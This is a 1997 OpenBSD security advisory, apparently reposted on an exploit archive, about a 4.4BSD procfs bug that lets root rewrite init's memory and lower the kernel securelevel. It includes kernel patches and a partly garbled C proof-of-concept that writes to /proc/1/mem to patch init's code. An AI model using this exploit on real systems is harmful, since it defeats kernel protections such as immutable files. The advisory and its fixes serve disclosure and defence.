4.4BSD procfs hole

Description:A bug in the procfs filesystem code allows people to modify the (priviliged) init process and reduce the system securelevel.
Author:Alex Nash, exploit by Tim Newsham
Compromise:Lower the security level kernal veriable, allowing to bypass certain restrictions, like the filesystem immuteable flag.
Vulnerable Systems:4.4BSD including OpenBSD 2.0 and 2.1, FreeBSD, NetBSD, probably BSDI.
Date:24 June 1997
Notes:If only all security advisories contained exploit code, the world would be a safer place!

Date: Tue, 24 Jun 1997 18:49:44 -0500
From: "Thomas H. Ptacek" <tqbf@enteract.com>
Subject: [ADVISORY] 4.4BSD Securelevels


                        OpenBSD Security Advisory

                              June 24, 1997

                      Vulnerability in 4.4BSD procfs



A vulnerability in the 4.4BSD process filesystem allows arbitrary
processes to lower the system securelevel, subverting security measures
that rely on this setting. This problem can affects the filesystem
"immutable" flag, and may allow intruders to modify the running kernel.



It is believed that all 4.4BSD operating systems are currently vulnerable
to this problem. A lack of BSDI source code prevents us from verifying
it's applicability to that operating system.

Systems known to be currently vulnerable include:

OpenBSD 2.0 and OpenBSD 2.1 (the OpenBSD project has resolved this
problem in OpenBSD-current).

All currently available versions of FreeBSD (the FreeBSD project has
resolved this problem in FreeBSD-current).

All currently available versions of NetBSD.



Certain security measures in the 4.4BSD kernel rely on a variable called
the "securelevel", which is intended to allow the system to run with
heightened security after initializations that may require extra
flexibility. Mechanisms that rely on the securelevel are inactive until
the securelevel is raised to a nonzero value.

The securelevels system relies on the fact that no user on the system,
including the superuser, can lower the variable after it has been raised.
This allows securelevels to be used to implement protections in the kernel
against a compromised superuser account. A commonly-used example is
the filesystem "immutable" flag, which prevents flagged files from being
modified by anyone on the system, including the superuser.

The process of transitioning the system into single-user mode from
multi-user mode involves several functions that require enhanced access
to system internals. Because of this, the "init" process has the exclusive
ability to decrease the system securelevel to facilitate this process. In
recognition of this, in-kernel process-level debugging utilities, such as
the ptrace() system call, do not function on the "init" process.

The 4.4BSD process filesystem presents a filesystem perspective to the
process table. Process information tools such as "ps" can read the process
filesystem information as directories and files, instead of digging
through kernel memory directly. Additionally, process debugging tools can
use procfs to modify running processes. Like ptrace(), the procfs code has
recently been modified to prevent the subversion of the running init

Unfortunately, a vulnerability in the procfs code remains which allows a
user with superuser credentials to modify the running init process and
force it to reduce the system securelevel. Although the "attach" command,
which is the procfs equivalent to the "attach" interface provided by
ptrace(), is disallowed on the init process, write access to the virtual
memory of the init process remains enabled. Modification to the running
init process image can be used to subvert the process.



The 4.4BSD process filesystem describes each process with a series of
files, including "status", which provides the process status, "regs",
which details the register set of the process, "mem", which provides
access to the memory image of the process, and "ctl", which provides an
interface to process control. The procfs vulnerability described in this
advisory exploits the "mem" process description file.

By opening the "mem" file of the running init process up in a write mode,
the virtual memory image of the init process can be modified. This access
can be used to alter the executable code of the running process in it's
text segment.

This can easily be exploited to reduce the securelevel of the system by
altering code in init that already involves modification of the
securelevel. One place where this occurs is within the "multi_user()"
routine, which sets the securelevel to "1" upon entry (expressing the
default behavior of running with securelevels enabled after initializing
the system).

The relevant code is:

        if(getsecuritylevel() == 0)

By excercising write access to the text of the init process, that code can
be altered to set the securelevel to 0 by modifying two bytes of
executable code - one two cause the "if" conditional to evaluate true
after the system has entered multi-user mode, and one to alter the value
passed to "setsecuritylevel" from "1" to "0", affecting a reduction in
the system securelevel.

The newly modified code now reads:

        if(getsecuritylevel() != 0)

The init program is a finite state machine driven by function pointers.
The program can be forced to call multi_user() by setting a function
pointer (using the "mem" file again) to the address of this routine. The
next time "init" changes state, it will call multi_user() and reduce the



Two immediate fixes are available to this problem. The first resolves the
specific problem presented by the procfs interface, and the second
prevents "init" from being able to lower the securelevel at all, resolving
the more general problem presented by making "init" a target for
compromising the kernel.

A workaround to the problem is simply to disable the procfs filesystem in
your kernel binary, by not specifying it in the kernel config file,
reconfiguring the kernel, rebuilding it, and rebooting off the new kernel.
This will reduce the functionality of process debugging tools.

The procfs fix involves a modification to sys/miscfs/procfs_subr.c, which
implements the procfs_write() vnode interface. By causing the procfs_rw()
routine to fail when the affected process ID is "1", "init" is now
safeguarded against modification from the process filesystem.

An OpenBSD fix to the problem is provided at the end of this document.

The "init" securelevel fix involves a modification to sys/kern/kern_mib.c,
where the "sysctl" interface to the "securelevel" variable is implemented.
By causing this interface to fail at all times when the request attempts
to reduce the securelevel, "init" is prevented from compromising the

The latter fix may reduce functionality on the system and is not
recommended for installations that require the ability to perform
extensive single-user mode operations after bringing the system into
single-user mode.

An OpenBSD fix to the problem is provided at the end of this document.



The OpenBSD development team would like to express it's gratitude to Alex
Nash, for alerting us to this problem, as well as for providing the
FreeBSD patch; to Theo de Raadt, for providing the OpenBSD procfs patch;
and to Tim Newsham, for providing proof-of-concept code.

The developers at OpenBSD would also like to indicate their appreciation
of FreeBSD's rapid resolution of this problem.



To prevent the process filesystem from enabling the superuser to modify
the running init image, apply the following patch to your OpenBSD kernel.

----- cut here -----

*** sys/miscfs/procfs/procfs_subr.c     Tue Jun 24 15:56:02 1997
--- sys-old/miscfs/procfs/procfs_subr.c Tue Jun 24 15:55:06 1997
*** 1,3 ****
! /*    $OpenBSD: procfs_subr.c,v 1.5 1997/04/06 07:00:14 millert Exp $ */
  /*    $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $        */

--- 1,3 ----
! /*    $OpenBSD: procfs_subr.c,v 1.6 1997/06/21 12:19:45 deraadt Exp $ */
  /*    $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $        */

*** 222,225 ****
--- 222,228 ----
        if (p == 0)
                return (EINVAL);
+       /* Do not permit games to be played with init(8) */
+       if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE)
+               return (EPERM);

        switch (pfs->pfs_type) {

----- cut here -----

To prevent "init" from being able to decrease the system securelevel,
apply the following patch to your OpenBSD kernel.

----- cut here -----

*** kern_sysctl.c.orig  Tue Jun 24 17:28:52 1997
--- kern_sysctl.c       Tue Jun 24 17:29:37 1997
*** 238,242 ****
                        return (error);
                if ((securelevel > 0 || level < -1)
!                   && level < securelevel && p->p_pid != 1)
                        return (EPERM);
                securelevel = level;
--- 238,242 ----
                        return (error);
                if ((securelevel > 0 || level < -1)
!                   && level < securelevel)
                        return (EPERM);
                securelevel = level;

----- cut here -----



The following code will compile and run on any 4.4BSD system. However, it
relies on offsets into the memory image of the init process that may
change from OS to OS, and from compilation to compilation. Attempting to
run this program on an operating system other than the one for which it
was intended will corrupt the text of the init process, and probably cause
your system to crash. Use caution when attempting to use this program to
assess your vulnerability.

After successfully running the program, the next init state transition
will result in the system securelevel being reduced to "0".

The offsets in this program were gained from using "gdb" on a
newly-compiled "init" binary with an intact symbol table. The address of
the "multi_user()" function is available with:

% info address multi_user

The address of the "requested_transition" function pointer is available

% info address requested_transition

The address of the two modified instruction within that binary (the JE
instruction that causes the multi_user() conditional to fail, and the
argument to the PUSH instruction which indicates the new securelevel
setting) are available with:

% disassemble multi_user

----- cut here -----

/* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */

#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

/* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets
 * will cause your system to crash.

/* offset to the beginning of the multi_user() routine */
 * OpenBSD: 0x2eb4

#define  MULTI_USER_ROUTINE             0x27f8

/* offset of the JNE instruction in multi_user()       */
 * OpenBSD: 0x2eb4 + 21

#define  EVALUATE_TRUE                  (0x27f8 + 21)

/* offset of the argument to the PUSH instruction      */
 * OpenBSD: 0x2eb4 + 24

#define  SET_TO_ZERO                    (0x27f8 + 24)

/* offset of the "requested_transition" variable       */
 * OpenBSD: 0x290b8

#define  TRANSITION_TO_MULTI_USER       0x2f0a0

#define  INIT_MEMORY_FILE               "/proc/1/mem"

/* invariant */

#define  JNE                            0x74

extern int errno;

int main(int argc, char **argv) {
        int init_mem;
        char c;
        int i;

        /* access init's virtual memory image */

        init_mem = open(INIT_MEMORY_FILE, O_RDWR);
        if(init_mem < 0) {

        c = JNE;

        /* change == to != (JE to JNE)  */

        lseek(init_mem, EVALUATE_TRUE, SEEK_SET);
        write(init_mem, &c, 1);

        c = 0x0;

        /* change 1 to 0                */

        lseek(init_mem, SET_TO_ZERO, SEEK_SET);
        write(init_mem, &c, 1);

        /* change next state transition to multi_user */

        lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET);
        write(init_mem, &i, 4);


        /* force an init state transition */




----- cut here -----


More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: